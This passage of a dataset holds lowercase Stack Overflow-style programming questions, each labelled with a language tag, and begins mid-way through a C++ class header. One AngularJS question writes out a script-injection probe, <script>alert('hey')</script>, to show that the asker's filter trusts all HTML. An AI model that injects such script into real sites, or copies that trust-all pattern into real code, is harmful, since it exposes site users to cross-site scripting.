//destructor         ~commission( );          //copy assignment         void operator=(const commission&amp; rhs);          //mutators         bool setidnum(int idnum);        //set id num         bool setbase(double base);       //set base salary         bool setrate(double rate);       //set rate of commission         bool setsales(double sales);     //set amount of sales for commission          //accessors         int    getidnum();    //get id num;         double getbase();     //get base salary         double getrate();     //get commission rate         double getsales();    //get sales for commission          //calculate salary         double calcsalary();  //calculate commission   };          #endif </code></pre>,c++
screen resolution does not work correctly with my css  i´m making a website with the following css. everytime i change the resolution on my computer  the text under the #info div gets mangled up. how can i fix that  thanks.   <pre><code>#container { background-image:url( pic.png ); height: 541px; width: 1020px; margin: 0 auto; }  #musicplayer { margin-top:90px; display:inline; }  #info { position: absolute; top: 29em; left: 38em; } </code></pre>,css
firing different functionality on resize  i ve tried googling this but i m not entirely sure what keywords i should be using  so i m coming up empty. in any case  i feel like i m missing something relatively simple in my functions and the way they re firing.    my desired functionality is this: i have a little arrow next to my nav  with the structure  .menu-item-has-children a i . on mobile (below 880px)  i want to click that <code>&lt;i&gt;</code> element and have it toggle the <code>&lt;ul&gt;</code> below. on desktop  i don t. that works just fine until i m switching between those two viewport sizes (below 880 and above 880). then the desired functionality won t fire until i reload the page. my jquery looks like this:   <pre><code>jquery(document.ready(function($) {    function mobilenav() {        var w = $(window).width();          if (w &lt; 879) {            $( .menu-item-has-children a i ).click(function(e) {                e.preventdefault();                $(this).parents( menu-item-has-children ).children( ul ).toggle();                $(this).toggleclass( turned );            });        }    }      mobilenav();      jquery(window).resize(function($) {         mobilenav();     }); }); </code></pre>,jquery
problem related email application  i want to send an email from my application whenever a user taps the send button of my view.i do not want to show the email interface to the user.all the fields needed for email will we filled via my application.so is there anyway to do this,iphone
separate callback function java script  i m using from kcfinder in my web page it is ok but only one problem; i need to separate callback function and use it further ...but i can t   <pre><code>function openkcfinder(div) { window.kcfinder = {     callback: function(url) { ///all action  } </code></pre>   //i need something similar this  ///it is not work;   <pre><code>function set_pic(url div){     ///all action } function openkcfinder(div) {   window.kcfinder = {     callback: set_pic(url div) ;  } </code></pre>   thanks for help me.    and excuse me for poor english.,javascript
where to physically write commands for input redirection in c   this might sound like a retarded question but i am just learning c and all the websites i looked at this showed you the command to do it (project &lt; somefile.txt) but not where to do it. does it go in my project somewhere or command prompt  and if it is command prompt how do i get to where i need to enter it,c
why doesn’t my background thread run   the dobackgroundwork method does not get called from the startdoingwork method.   <pre><code> threading.h     ------------     #import &lt;foundation/foundation.h&gt;      @interface threading : nsobject {          nsconditionlock* theconditionlock;         nsmutablearray* workitems;       }     -(void)startdoingwork;     -(void)dobackgroundwork;     -(void)notifybackgroundthreadaboutnewwork;     @end       threading.m     -------------      #import  threading.h       enum{         worktodonow = 1          worknottodonow = 0     };      @implementation threading      -(id)init{         if (self = [super init]) {             theconditionlock = [[nsconditionlock alloc]initwithcondition:worknottodonow];             workitems = [[nsmutablearray alloc]init];         }         return self;     }     -(void)startdoingwork{         [nsthread detachnewthreadselector:@selector(dobackgroundwork) totarget:self withobject:nil];     }     -(void)dobackgroundwork{         while (yes) {             nsautoreleasepool* pool = [[nsautoreleasepool alloc]init];             nsarray* items = nil;             nslog(@ going to lock!! );             [theconditionlock lockwhencondition:worktodonow];             items = [nsarray arraywitharray:workitems];             [workitems removeallobjects];             [theconditionlock unlockwithcondition:worknottodonow];             nslog(@ finished the work!! );             [pool drain];         }     }     -(void)notifybackgroundthreadaboutnewwork{         nslog(@ into the background new work!! );         [theconditionlock lock];         [workitems addobject:@ hello ];         [theconditionlock unlockwithcondition:worktodonow];         nslog(@ finished and came out!! );     }     @end      main.m     ------     #import &lt;foundation/foundation.h&gt;     #import  threading.h       int main (int argc  const char * argv[]) {         nsautoreleasepool * pool = [[nsautoreleasepool alloc] init];         threading* threads = [[threading alloc]init];         [threads notifybackgroundthreadaboutnewwork];         [threads startdoingwork];         [pool drain];         return 0;     } </code></pre>   the detachnewthread:selector:totarget:withobject method does not get called when debugged.,objective-c
how can i save my numbers in an array to have bigger output  i wrote this code to calculate factorials  but it can t calculate more than 20 numbers. how can i use arrays to have for example more than 500 numbers in the output    <pre><code>#include &lt;stdio.h&gt; int main() {     int result = 1;     int f;     int i;     int as = 1;     scanf( %d   &amp;f);          for (i = 1; i &lt;= f; i++) {         as *= i;     }     printf( %d   as);     return 0; } </code></pre>,c
how to compare some column with it self depending on group by result   i have one table where i have a translation field. the table has countryid depending on that we can get the translated text for some english word for different language. now i want to compare the english word with another language word for the same word. whether there are extra spaces or special char in other language translated text.    <a href= https://i.stack.imgur.com/rlchf.png  rel= nofollow noreferrer >image one : table structure</a>    <a href= https://i.stack.imgur.com/rablg.png  rel= nofollow noreferrer >image two : different translation for the same word</a>,sql
track the value o textbox  hi i have a textbox that is hidden.    and i chenge the value based on clicks inside the page.    i want to track somehow the value so when value is 0 to call a ajax.    i tried using .change but is not working    does anyone have an idea,jquery
private and protected @interface in objective c  i m looking at a .h file for an objective-c class and i see multiple interface declarations in it and i am unsure as to what the differences are and what they mean.    first i see    <pre><code>@interface tamodel : nsobject </code></pre>   which i recognize.  tamodel is the class and nsobject is it s super class.  what i m confused about is further down i see another interface declaration:   <pre><code>@interface tamodel (protected) </code></pre>   also inside another .m file (unrelated to the first two) i have seen:    <pre><code>@interface taworker (private) </code></pre>   i was wondering what the second two mean  what they are doing.  as far as i know with objective-c there is no true protected visibility between classes.,objective-c
replacing a div with a command  i ve got a site with a lot of phone models  but the code is originally from another part of the site  where the mobiles are only shown when you click on the box  but for this part of the site  i want the mobiles to be shown at anytime  so how do i make this div   <pre><code>&lt;div class= submit_filter ans_div  style= display: table; &gt;&lt;/div&gt;  </code></pre>   into something that just shows without a click     the site url are <a href= http://findaphone.dk/mobiler  rel= nofollow noreferrer >www.findaphone.dk/mobiler</a>    and as you see  right now there is a big box at the top of the site you have to click on.    thanks in advance!!,html
python coding of user input of hex numerals  how do i get the a to f hex numerals in as user input via something like:    <code>hexnum=raw_input( input your hex number -&gt;  )</code>    then i have a problem with such input not being convertible via:    <code>number=int(hexnum)</code>    i am looking for a simple example with a basic explanation.,python
how to enable soap extensions  is it possible to enable soap extensions in php without compiling the php dist  i´m using mac os x 10.5+ with the built in php interpreter.,php
how do i force a uiwebview to update when it s offscreen   i have a uiwebview that i m setting to some text and displaying and then hiding  changing the text  and displaying again.  the issue i m running in to is that when i make the view visible again i see the old text for an instant.  is there a way to force the uiwebview to show the new text when it displays     the code is ordered correctly and looks like this:   <pre><code>[back assignlabeltext:[facts getcurrentfact].answer]; [self doanimation:back.view andviewtohide:front.view flipright:yes]; </code></pre>,iphone
get image which is in the center of the screen  i have a list of images on: <a href= http://johanberntsson.se/dev/fotosida/  rel= nofollow >http://johanberntsson.se/dev/fotosida/</a>    what would be a good way to get a data attribute from the image thats currently in the center of the screen  place an invisible line in the center of the screen and see which image that it collides with  or do you have any other suggestions      hope you get the idea  otherwise ill elaborate.    thanks!,jquery
get child node xml with domdocument php  i have read instruction of domdocument php  and try to get specific child from xml file  here the example   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;configuration&gt;     &lt;methods&gt;         &lt;index&gt;             &lt;title&gt;user&lt;/title&gt;             &lt;meta_description&gt;description part&lt;/meta_description&gt;             &lt;meta_keywords&gt;keywords parts&lt;/meta_keywords&gt;             &lt;permissions&gt;permissions part&lt;/permissions&gt;             &lt;layout&gt;layout parts&lt;/layout&gt;             &lt;css&gt;css parts&lt;/css&gt;         &lt;/index&gt;         &lt;update&gt;             &lt;title&gt;update part&lt;/title&gt;             &lt;permissions&gt;update_user&lt;/permissions&gt;         &lt;/update&gt;     &lt;/methods&gt; &lt;/configuration&gt; </code></pre>   what i want is  let say i want to access permissions value tag of index tag  then how to do that  and how to check if permissions tag is exists on index tag with domdocument php.    here  what i have done   <pre><code>$xml = new domdocument();     $xml-&gt;load(__dir__ . directory_separator .  configuration.xml );     $configurations[ title ] = $xml-&gt;getelementsbytagname( index title )-&gt;nodevalue;     print_r($configurations); </code></pre>,php
how to make ios app fb scheme work with another custom scheme  i had setup a custom fc scheme and worked fine recently i added the facebook fb scheme into the app      the facebook fb works fine while my original fc scheme not work     the url scheme i defined in item o is fbxxxxxx and item 1 is fc    then  the appdelegate.m is as follows :    ===   <pre><code>    #import  appdelegate.h      #import  mainviewcontroller.h       #import &lt;fbsdkcorekit/fbsdkcorekit.h&gt;     #import &lt;fbsdkloginkit/fbsdkloginbutton.h&gt;      @implementation appdelegate      - (bool)application:(uiapplication*)application didfinishlaunchingwithoptions:(nsdictionary*)launchoptions     {     self.viewcontroller = [[mainviewcontroller alloc] init];     [[uiapplication sharedapplication] setapplicationiconbadgenumber:0];     [[fbsdkapplicationdelegate sharedinstance] application:application didfinishlaunchingwithoptions:launchoptions];     [fbsdkloginbutton class];     return [super application:application didfinishlaunchingwithoptions:launchoptions];     }       - (bool)application:(uiapplication *)application openurl:(nsurl *)url options:(nsdictionary&lt;uiapplicationopenurloptionskey id&gt; *)options {      bool handled = [[fbsdkapplicationdelegate sharedinstance] application:application openurl:url sourceapplication:options[uiapplicationopenurloptionssourceapplicationkey] annotation:options[uiapplicationopenurloptionsannotationkey]];     // add any custom logic here.     return handled;     }       -  (void)applicationwillresignactive:(uiapplication *)application     {     [[uiapplication sharedapplication] setapplicationiconbadgenumber:0];     }      - (bool)application:(uiapplication *)app openurl:(nsurl *)url sourceapplication:(nullable nsstring *)sourceapplication annotation:(nonnull id)annotation {      nslog(@ test1 %@   [nsstring stringwithformat:@ %@   [url description]]);     nslog(@ test1 %@   [url description]);     nslog(@ test1 %@   url);      if([[url scheme] caseinsensitivecompare:@ fc ] == nsorderedsame)      {      nsstring *fp = [nshomedirectory() stringbyappendingpathcomponent:@ documents/active.txt ];      nsstring *test = [nsstring stringwithformat:@ %@   [url description]];      [test writetofile:fp atomically:yes encoding:nsutf8stringencoding error:nil];      dispatch_time_t poptime = dispatch_time(dispatch_time_now  (int64_t)(10.0 * nsec_per_sec));             dispatch_after(poptime  dispatch_get_main_queue()  ^(void){     nslog(@ t...... );     [@   writetofile:fp atomically:yes encoding:nsutf8stringencoding error:nil];     });     //nsstring *outp = [nsstring stringwithcontentsoffile:fp encoding:nsutf8stringencoding error:nil];      //nslog(@ test1 %@   outp);      } else {      /* not one here */       }      return yes;      }      @end </code></pre>   ===    i think something wrong in appdelegate.m and tried changes many ways all do not work    anyone can help me        thanks,ios
adding images to nsuserdefaluts and folder  i have a database structure:<em>userdefaults->empdata dictionary->iphone array-> dictionaries of each employee added.</em> along with other details i want to save the image of the employee. the employee uploads its image using imagepicker. also i want when all the details have been saved it can also be edited.i have thought of saving all the images in one folder and giving their image name as the name of the employee and then retrieving this image through the image name.if there is some other alternate please do tell. any kind of help will be appreciable. thanks in advance.,ios
android multiple language support for more than 3 activities  i am developing android app with multiple language support    for language selection user need to select language from a listview    issue: when user selects a language  it supposed to applied to all activities in app but in real  only two activities strings are changed    i have strings for all activities in all languages    <strong>on listview item selection:</strong>   <pre><code> preferencemanager.getdefaultsharedpreferences(getapplicationcontext()).edit().putstring( lang    hi ).commit();                 setlangrecreate( hi ); </code></pre>   <strong>setlangcreate method</strong>   <pre><code> public void setlangrecreate(string langval) {     configuration config = getbasecontext().getresources().getconfiguration();     locale = new locale(langval);     locale.setdefault(locale);     config.locale = locale;     getbasecontext().getresources().updateconfiguration(config  getbasecontext().getresources().getdisplaymetrics());     recreate(); } </code></pre>,android
display error message below input field  is there any native html element which can be used to show a text under an input field   something like a <code>label</code>       right now  i have an <code>input</code> field in middle of a form and i want to show an error message below this it if a user puts some wrong value inside that field.,html
asp.net 5 (vnext) - using filters  i have an asp.net mvc app that i am trying to migrate to mvc 6 (asp.net 5). with that in mind  i have some filters that were added using the process described in this <a href= https://stackoverflow.com/questions/5453327/how-to-set-viewbag-properties-for-all-views-without-using-a-base-class-for-contr >so post</a>. however  with global.asax being replaced with startup.cs  i m not sure where to add my global filters anymore.    in addition  in my filter i have:   <pre><code>public override void onresultexecuting(resultexecutingcontext context) {   context.controller.viewbag.myproperty =  [testing] ; } </code></pre>   when i run <code>dnx . run</code> now  i get an error that says:   <pre><code>myfilter.cs(11 22): error cs1061:  object  does not contain a definition for  viewbag  and no extension method  viewbag  accepting a first argument of type  object  could be found (are you missing a using directive or an assembly reference ) </code></pre>   how do i add global filters in asp.net 5 (mvc 6),asp.net
exception occurred  i m constantly getting the same error.    <img src= https://i.stack.imgur.com/th18c.png  alt= enter image description here >   <pre><code>an unhandled exception of type  system.argumentoutofrangeexception  occurred in system.windows.forms.dll  additional information: invalidargument=value of  0  is not valid for  index . </code></pre>   the code is:   <pre><code>private void radgridview1_cellformatting(object sender  telerik.wincontrols.ui.cellformattingeventargs e)     {         if (e.cellelement.columninfo.headertext ==  logo )         {             if (e.cellelement.rowinfo.cells[2].value.tostring() ==  error )             {                 e.cellelement.image = (image)imagelist1.images[0];                 e.cellelement.tooltiptext =  error ;             }             else if (e.cellelement.rowinfo.cells[2].value.tostring() ==  warning )             {                 e.cellelement.image = imagelist1.images[1];                 e.cellelement.tooltiptext =  warning ;             }             else if (e.cellelement.rowinfo.cells[2].value.tostring() ==  message )             {                 e.cellelement.image = imagelist1.images[2];                 e.cellelement.tooltiptext =  message ;             }         }     }     } </code></pre>   //-----------------------------------------------------------------------,c#
how to get facebook like sliding menu without using third party files in ios   i m struck to implement it. i want to display a menu  which is already pushed into navigation controller. i know i have to use transition with animation method in which i have to increase the width from 0 to required value. but this is not helpful coz navigation controller takes care of presenting vc when we pop it. so how to implement it in ios,ios
c++ declaring and returning a variable in a function and using it in the main function  i want my function sum() to add two numbers and assign the result to a variable  result . then i want to output this result on to my main function. what am i doing wrong here:   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  int sum(int a int b)   {    int result;    result = a + b;    return result;   }  main() {     int a=2;    int b=3;    sum(a b);    printf( %d  result);     system( pause ); } </code></pre>,c++
how to filter a list of items in a mysql database   i have list store in mysql table file1=(1 2 3 4 6 7) and other list file2 = (3 2 4 8 9 10 12) is not stored in table  i want compare both and result should be like  result=(6 7 8 9 10 12) then calculate the percentage. like 100*(result/file1+file2) in mysql data structure. i do not know how i will do it. please know body know guide me or give me a small example. thanks,mysql
validating data sets in sql  i have two data sets having six columns:   <ol> <li>previous month data</li> <li>current month data (including previous month data with update changes)</li> </ol>   how do i get the  under mentioned sub data sets     a.  records fully matched based on all the six columns(previous month records having no change in current month data)   <pre><code>select * from a where (c1 c2 c3 c4 c5 c6) in (select c1 c2 c3 c4 c5 c6 from b ); </code></pre>   b.  records fully not  matched based on all the six columns (new records in current month data).    c.  records have changes in any one column with the changed column identifier.    d.  records have changes in any two column with the changed columns identifier.    e.  records have changes in any three column with the changed columns identifier.    f.  records have changes in any four column with the changed column identifier.    g.  records have changes in any five column  with the changed column identifier.,sql
want to get all data from three tables in single query with group by function  what i need: i want to show the sales by dish category    <strong>i have three tables for this problem:</strong>   <pre><code>1.order(dish_id dish_price dish_quantity) 2.dish(dish_id dish_name dish_cat_id) 3.dish_category(dish_cat_id dis_cat_name </code></pre>   <strong>what result i want is :</strong> i want to show the report that   how many quantity has been sold  by dish category wise   and the total price   total_quantity    <strong>result to be expected:</strong> dish_cat_id  dish_cat_name  total_price   total_quantity_sold    <strong>what i have tried:</strong>   <pre><code>    select  d.dish_name               d.dish_id              sum(o.price) as total_price              sum(o.dish_quantity) as total_qauntity      from order as o   dish as d     where o.dish_id = d.dish_id     group by o.dish_id </code></pre>   now here i can get all the dish and their total price by <strong>dish</strong> wise   how to i get them <strong>dish_category</strong> wise    as right i am getting no idea expected to fire another query on the selected result about this query to get them dish_category wise,mysql
convert coldfusion scheduled job to .net  below is a description of a system that works very well for running scheduled jobs in coldfusion.  if you were to build something in .net that was at least as good if not better  how would you do it   note that i m looking for concepts  ideas  and structures - not code.    we currently have a  plug and play  concept for scheduled jobs in coldfusion.  instead of several dozen individual scheduled jobs  there are a handful of scheduled job containers.  it is the containers that are actually scheduled in coldfusion.  each container is scheduled to run at a different time of day.  developers plug their individual job into the most  appropriate container based on what time they want their job to run. the container files have names like scheduledjobs_0600.cfm.    they are located in a directory not available to web browsers.  there is a separate log file associated with each.    once an individual job is ready to be scheduled  the developer plugs it into the container file like this:                   the translation is that on the 5th day of each month  coldfusion file /dwsystem/jobs/adultpsych.cfm will run.    cf_runjob is a coldfusion custom tag.  it •   trys to run the job. •   if successful  a line is written to a log file indicating when the job started and how many milliseconds it took to run. •   if unsuccessful  the catch block writes the error message to the log file    the try/catch method prevents one coding error from preventing subsequent individual jobs from running.    there are two other scheduled jobs that see how the other ones went.  specifically  they read the most recent entries in the log files and look for errors.  if any are found  all the daily events from that particular file are emailed to certain address groups. there are also two web pages available to follow up when things don t go well.  one lists all the  container  jobs and allows users to run any or all of them.  the container jobs are hard coded  but  since they are in the same directory  they could be obtained programmatically.    the second page is a little more elaborate.  it reads all the container files and all the log files.  the user is then presented with a list of all individual jobs  each one accompanied by a checkbox.  any job that failed on its previous attempt has the checkbox pre-checked.  the execution time is also shown for each job.  when the form is submitted  each selected job is run with the cf_runjob tag.    how would you do it in .net,.net
display inline-block overflow  i have two objects within a parent. the two objects are each given a set width of 60%. i want them to sit side-by-side within the parent and cause overflow. to attempt this  i used the following   <pre><code>.item{display: inline-block;} </code></pre>   however  all they did was stack on top of each other.    i tried to illustrate below    what i want: <a href= http://imgur.com/g6qyp6u  rel= nofollow >http://imgur.com/g6qyp6u</a>    what happens: <a href= http://imgur.com/ek2evb9  rel= nofollow >http://imgur.com/ek2evb9</a>,css
coordinate mismatch problem <ol> <li>loaded the jpg to picture box (in size mode as zoomed).</li> <li>i drawn a rectangle on the picture box and taken the coordinate.</li> <li>opens the jpg in paint and observed the coordinate (where i drawn rectangle on the picture box). when i compare the rectangle coordinate(x and y) with paint coordinate it not the same.</li> </ol>   i changed the size mode to normal and observed that the coordinates are same but the image size is too large so it display partially. so  use zoom size mode property.    say image with size 2825x3538 and keep the picture box size mode as normal  the image shows partially in picture box. so i changed picture box mode to zoom (to fit the system screen resolution). and coordinate miss matched when compare it with normal mode with zoom mode.    how can i achieve the same coordinates. <pre>private void opentoolstripmenuitem_click(object sender  eventargs e)         {   <pre><code>        openfd.filename =   ;         openfd.title =  open image ;         openfd.initialdirectory =  c ;         openfd.filter =  jpeg|*.jpg|bmp|*.bmp|all files|*.*.* ;         if (openfd.showdialog() == dialogresult.ok)         {             file = openfd.filename;              image = image.fromfile(file);             picturebox1.image = image;               svc = screen.primaryscreen;             picturebox1.width = svc.bounds.width;             picturebox1.height = svc.bounds.height-100;              mybitmap1 = new bitmap (picturebox1.image);             mybitmap1.setresolution(300  300);             picturebox1.image = mybitmap1;           }      } </code></pre>   private void picturebox1_mousedown(object sender  mouseeventargs e)         {     if (mybitmap == null)                 {                     mybitmap = new bitmap(picturebox1.width  picturebox1.height);                     mybitmap.setresolution(300  300);                 }          }    private void picturebox1_paint(object sender  painteventargs e)         {   <code> using (g = graphics.fromimage(mybitmap))             {                      using (pen pen = new pen(color.green  m))                   {         e.graphics.drawrectangle(pen  r);                              e.graphics.drawstring(lab[c].tostring()  new font(lab[c].tostring()  8f)  new solidbrush(label1.forecolor)  r);         } }       } </code></pre>,c#
how do you sign an app with a debug key that has system (signature) permissions  all i want to do is shut my screen off in my app and i ve added these lines to my manifest file:   <pre><code>&lt;uses-permission android:name= android.permission.device_power       android:protectionlevel= signature  /&gt; </code></pre>   yet when i run my app i get a securityexception on device_power. so i looked into it and apparently i need to sign my app with a key in order to have signature permission.    well i tried to export a signed app using the android tools in eclipse and then running that exported apk on my phone but it still doesn t work.     how do i sign a system signature key to debug with in eclipse  as well export it properly to work when i m finished     can anyone please help me out. all i want my app to do is shut the screen off and this is becoming a big roadblock for me!,android
simplest way to toggle a integer variable between two values  i have a variable <code>a</code> which can have only two values <code>x1</code> or <code>x2</code>. how to toggle <code>a</code> between these values. i came up with this. any other more efficient way    <pre><code>a = (a == x1   x2: x1); </code></pre>,c
textbox formatting  are there libraries that would provide for formatting the content of a text box (or richtextbox) based on the content  assuming the content conforms to a pattern (in essence syntax highlighting)  it would be nice if this were possible in both the web world as well as winform  though i d prefer winform (or wpf for that matter).,.net
no android sdk found  i have installed the android studio 3.0.1    during installation  i met this window.    i already set the system variable. (java_home -> jdk)    what s the problem  <a href= https://i.stack.imgur.com/hqjrp.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/hqjrp.png  alt= enter image description here ></a>,android
how to delete particular string from paragraph <pre><code>hi friends  i have a small question   i have a paragraph of string  now i want to delete some words from that para    aaaaaaaaaaaaaaaaa*bbbbbbbbb*aaaaaaaaaaaaaa. now  suppose i want to delete the  bbbbbbbb  fromthe above para and i am using the following method  myspeechtext = [[myspeechtext stringbyreplacingoccurrencesofstring:strtemp withstring:@  ] retain];  but this method is replacing the  bbbbbbbb  with blank spaces  ie             and i am getting aaaaaaaaaaaaaaaa        aaaaaaaaaaaaaaaaaa;  and i want aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; without any space. so how can i delete the  bbbbbbbb  rather replacing it.  thanks-  if i am not clear plz let me know. </code></pre>,iphone
how to find non-alphanumeric in c  im trying to separate non-alphanumeric and alphanumeric from a string in c.this is my current code but if i use this it will detect all alphanumeric only while at non-alphanumeric it will return null.so i cant detect at what index are all the non-alphanumeric at.   <pre><code>    char data[] =  http://www.google.com ;     char key[]  =  abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz0123456789 ;     char *find;      find = strpbrk(data key);     while(find != null){         printf( %c  *find);         find = strpbrk(find+1 key);             } </code></pre>   the output will be httpwwwgooglecom.thats is what i partially want. i also trying to find where are all the non-alphanumeric at.,c
why is this statement within a while loop never executed   i ve written some code to right justify all the bits in a char s byte. however  the application is stuck in a loop because it never executes the line <code>positionmask&lt;&lt;1;</code>    why is this happening    <pre><code>void rjustify(char thischar) {     unsigned char c = thischar;     unsigned char positionmask = 1;     unsigned char insertionmask = 1;     while(positionmask)     {             if(c &amp; positionmask)             {                     c^=positionmask;                     c|=insertionmask;                     insertionmask&lt;&lt;=1;             }             positionmask&lt;&lt;1; //this line is never executed.     }     printf( %c   &amp;c); } </code></pre>,c
create attributeset programmatically  i want to create programmatically preferences from xml attributes (the xml generated programmatically too)    for example   <pre><code>pref=new checkboxpreference(context context  attributeset attrs) </code></pre>   seems that would do it but i don t see how to construct the attributeset from some arbitrary xml text. is that possible,android
angular using $sce to allow some html  without allowing all of it(allow just my html)  i have a filter that adds some html (parses users to href). i run it on user inputed text (a  post  by user). and then displaying with <code>ng-html-bind={{post.text | parseusers}}&lt;p&gt;&lt;/p&gt;</code>    this is the filter code   <pre><code>.filter( parseusers   function($sce){         return function(input  scope){             if (input !== null &amp;&amp; input !== undefined){                 var result  personpattern  personlinktpl  userlink personname  personlink;                 result = input;                 personpattern = /@[a-za-z\allowd_]+/gi;                 personlinktpl =  &lt;a href=\ #/users/%user_id%/\ &gt;%user%&lt;/a&gt; ;                  personmentions = input.match(personpattern);                 if (personmentions != null &amp;&amp; personmentions.length &gt; 0) {                      for (var j = 0; j &lt; personmentions.length; j++) {                         personname = personmentions[j];                          personlink = personname.replace( @     ).tolowercase();                         userlink = personlinktpl.replace(/%user_id%/  personlink).replace(/%user%/  personname);                         result = result.replace(personname  userlink);                     }                 }                 return $sce.trustashtml(result);             }         };     }) </code></pre>   everything works correctly but the implication is that i shut down the ng-sanitize service on this html. and so i can post <code>&lt;script&gt;alert( hey )&lt;/script&gt;</code> and it would work.    how can i assign trust <strong>only</strong> to my added html or to a specific regex and not everything  or maybe i should sanitize the input before starting to parse it  how is that done with $sce     thanks!,angularjs
aspnet_users: get user id and use id web page  as i create user using built in asp.net sql tables and login controls  i would like to get to userid. how do i do that  google is returning whole bunch of information but no where i could find an easy example to get userid.     if user does exist  then i should get a userid  which i could store in my own custom tables for further user personal information management.     this whole membership and profile thing is very confusing to me. google returned resuilts have all these pages with long explanation but it only confuses me. i can not even find the namespace in some of those dumb examples.     you can tell i am frustrated.     please help !!!,asp.net
mysql - what happends when update a column by rand() or by now()   i have a table:   <pre><code>create table `test` (  `t` varchar(255) default null ) engine=innodb default charset=utf8 </code></pre>   and update it by:   <pre><code>update test set t = rand(); </code></pre>   then the data in the table is:   <pre><code>+---------------------+ | t                   | +---------------------+ | 0.24891147599454175 | | 0.5710943421079725  | | 0.10873731328988198 | +---------------------+ </code></pre>   as you see  every  t  is different    when update the table using:   <pre><code>update test set t = now(6); </code></pre>   and every  t  is the same:   <pre><code>+----------------------------+ | t                          | +----------------------------+ | 2018-03-13 23:40:40.380817 | | 2018-03-13 23:40:40.380817 | | 2018-03-13 23:40:40.380817 | +----------------------------+ </code></pre>   what happends when update a column by rand() or by now(),mysql
convert four bytes to integer using c++  i am trying to convert 4 bytes to an integer using c++.    this is my code:   <pre><code>int bufftointeger(char * buffer) {     int a = (int)(buffer[0] &lt;&lt; 24 | buffer[1] &lt;&lt; 16 | buffer[2] &lt;&lt; 8 | buffer[3]);     return a; } </code></pre>   the code above works in almost all cases  for example: when my buffer is: <code> [\x00  \x00  \x40  \x00] </code> the code will return <code>16384</code> as expected.    but when the buffer is filled with: <code> [\x00  \x00  \x3e  \xe3] </code>  the code won t work as expected and will return <code> ffffffe1 </code>.    does anyone know why this happens,c++
what is the purpose of a distribution certificate in ios  im a web tester but recently i was assigned to mobile testing. the ios devs gave me two files  a .p12 file and a provisioning profile file. my question is what is the purpose of the .p12 file  when i go to xcode  they only ask me to input the provisioning profile in the signing field (but i added the .p12 file to my keychain as i was told). so my question is  what was the purpose of that .p12 file and why do i need to have it installed into my keychain when in xcode it only asked me for the provisioning profile and i can now build the app and test it,ios
sql query help for single table query  i have a table that records status on course progress. a new record is added for each user/course comination when a course is started. that record is updated with a  completed  status when the course is completed. i need to find the records for users who have never completed any courses.    example table:   <pre><code>user  course  status a      1       s a      2       c b      1       s c      2       s d      2       c c      3       s </code></pre>   i need a query that finds the following:   <pre><code>user  course  status b      1        s c      2        s c      3        s </code></pre>   any help is appreciated.,sql
assigning values to non existing keys/indices in python dictionaries/lists  why is it that we can add new elements to a dictionary by directly assigning a key-value pair but not do the same lists:-    for example:   <pre><code>dictl = {} dictl[ new_key ] = value print dictl  # prints { new_key: value} </code></pre>   but     <pre><code>listl = [] listl[0] = value   # indexerror: list assignment index out of range </code></pre>,python
how to present viewcontroller when tab is selected on uitabbarcontroller   i have a uitabbarcontroller with a profile tab. i want to present a login view controller if the profile tab is pressed  but the user is not logged in. if the user presses cancel  i want the tab bar controller to have the same tab selected as before.,ios
understanding html form submittion  imagine i have a simple form:   <pre><code>&lt;form id= add  method= post  action= /add/emp &gt;     &lt;label for= name &gt;name: &lt;/label&gt;     &lt;input type= text  id= name &gt; &lt;br&gt;     &lt;input type= submit  value= save &gt; &lt;/form&gt; </code></pre>   i expected that after clicking to the <code>submit</code> button a request <code>http://localhost:8080/add/emp name=_inputed_value_</code> will be sent  but there was just <code>http://localhost:8080/add/emp</code> without any parameters. is it normal behavior and i need to add request-parameters with javascript,html
facing problem with libxml.rb  i downloaded one of the rails app from server and tried running it. i faced an error on migration   <pre><code>d:\radiant\trunk&gt;rake db:migrate (in d:/radiant/trunk) rake aborted! 126: the specified module could not be found.   - d:/radiant/trunk/config/../ven dor/plugins/libxml-ruby/lib/libxml_ruby.so </code></pre>   i got the windows version of libxml_ruby. i tried again.    i got the error saying  libxml2.dll  not found. then i checked the file libxml.rb. it says the below lines .   <pre><code># if running on windows  then add the current directory to the path # for the current process so it can find the pre-built libxml2 and  # iconv2 shared libraries (dlls). </code></pre>   can anybody explain me what actually this mean     regards rakesh s,ruby-on-rails
sql query not working  there are two tables named    <pre><code>passenger (id_psg  name) pass_in_trip (trip_no  date  id_psg  place) </code></pre>   there can be several passengers bearing the same first name and surname (for example  bruce willis). my goal is to find the names of different passengers that ever travelled more than once occupying seats with the same number. it s exercise 63 given at <a href= http://sql-ex.ru/learn_exercises.php#answer_ref  rel= nofollow noreferrer >sql-ex.ru</a>    my query at first try was    <pre><code>select p.name from pass_in_trip  pt left join passenger p     on pt.id_psg = p.id_psg group by pt.id_psg  pt.place p.name having count(*) &gt; 1 </code></pre>   i am unable to find out the reason why it did not return the desired result. i know it can be done using subquery but i want to know where i am going wrong. the place column represent the seat number. you can take sql-server as database.  desired result should look something like this   <pre><code>  name -------- bruce willis         nikole kidman        mullah omar   </code></pre>,sql
take screenshot of google map <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/13946891/how-to-take-snapshot-of-google-map-with-polyline-and-openinfowindowhtml >how to take snapshot of google map with polyline and openinfowindowhtml</a>    </blockquote>     i m working on functionality to take snapshot of google map with polyline and info window popup on map.    i have created functionality to take snapshot of google map with polylines is working  but it will not able to take snapshot open popup window on polyline.    polyline are showing on sanpshot picture but info window are not showing .    can u plz explain who i can do this,javascript
